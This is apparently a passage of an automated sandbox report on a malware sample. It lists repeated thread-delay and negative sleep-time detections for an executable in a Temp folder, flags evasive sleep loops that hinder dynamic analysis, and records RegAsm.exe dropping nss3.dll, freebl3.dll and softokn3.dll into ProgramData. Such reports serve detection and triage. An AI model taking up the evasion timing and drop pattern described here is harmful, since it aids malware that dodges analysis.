Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 544820 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 544516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543436 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 543147 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542700 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542512 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 542053 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541883 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541697 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541485 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 541073 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540443 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540281 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 540078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539400 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 539180 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538961 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538500 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538266 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 538066 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537502 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 537150 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536938 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536176 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 536003 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535383 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535210 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 535016 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534815 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534640 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534453 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 534199 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533617 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533464 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533281 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 533125 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532983 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532469 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532328 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 532156 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531806 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 531016 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530856 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530718 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530537 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 530156 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529964 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529623 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529296 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 529078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528919 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 528358 Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Window / User API: threadDelayed 5279 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API coverage: 7.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 6348 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe TID: 3836 Thread sleep count: 122 > 30 Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe TID: 3836 Thread sleep count: 152 > 30 Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe TID: 7088 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 6516 Thread sleep count: 5279 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -100000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99747s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99548s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99359s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99089s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -98802s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -98563s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -98314s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -98031s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -97781s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99859s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99640s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99973s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99719s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99484s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99328s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99103s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99952s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99730s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99969s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -99047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -596688s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -596479s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -596203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -596046s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -595883s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -595688s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -595485s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -595319s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -595078s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -594591s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -594394s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -594125s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -593937s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -593758s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -593582s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -593391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -593246s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -593047s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -592828s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -592547s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -592116s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -591922s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -591750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -591516s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -591344s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -591172s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -590906s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -590594s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -590391s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -590203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -589906s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -589342s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -589136s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -588943s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -588736s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -588500s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -588313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -588063s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -587847s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -587682s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -587461s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -587031s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -586636s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -586436s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -586224s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -586049s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -585906s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -585703s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -585545s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -585344s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -585188s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -584988s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -584750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -584125s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -583875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -583699s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -583510s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -583328s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -583156s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -583014s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -582813s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -582656s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -582448s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -582281s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -582091s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -581360s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -581175s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -580969s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -580775s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -580531s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -580355s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -580232s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -580041s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -579874s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -579656s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -579480s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -578719s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -578469s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -578188s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -577969s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -577750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -577531s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -577344s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -577140s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -576995s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -576797s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -576531s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -576000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -575719s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -575506s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -575360s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -575191s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -575014s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -574731s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -574559s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -574328s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -574141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -573875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -573313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -573141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -572953s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -572719s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -572544s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -572313s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -572156s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -571984s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -571811s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -571615s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -571438s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -570844s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -570578s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -570360s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -570141s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -569969s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -569753s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -569585s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -569399s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -569161s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164 Thread sleep time: -568960s >= -30000s Jump to behavior
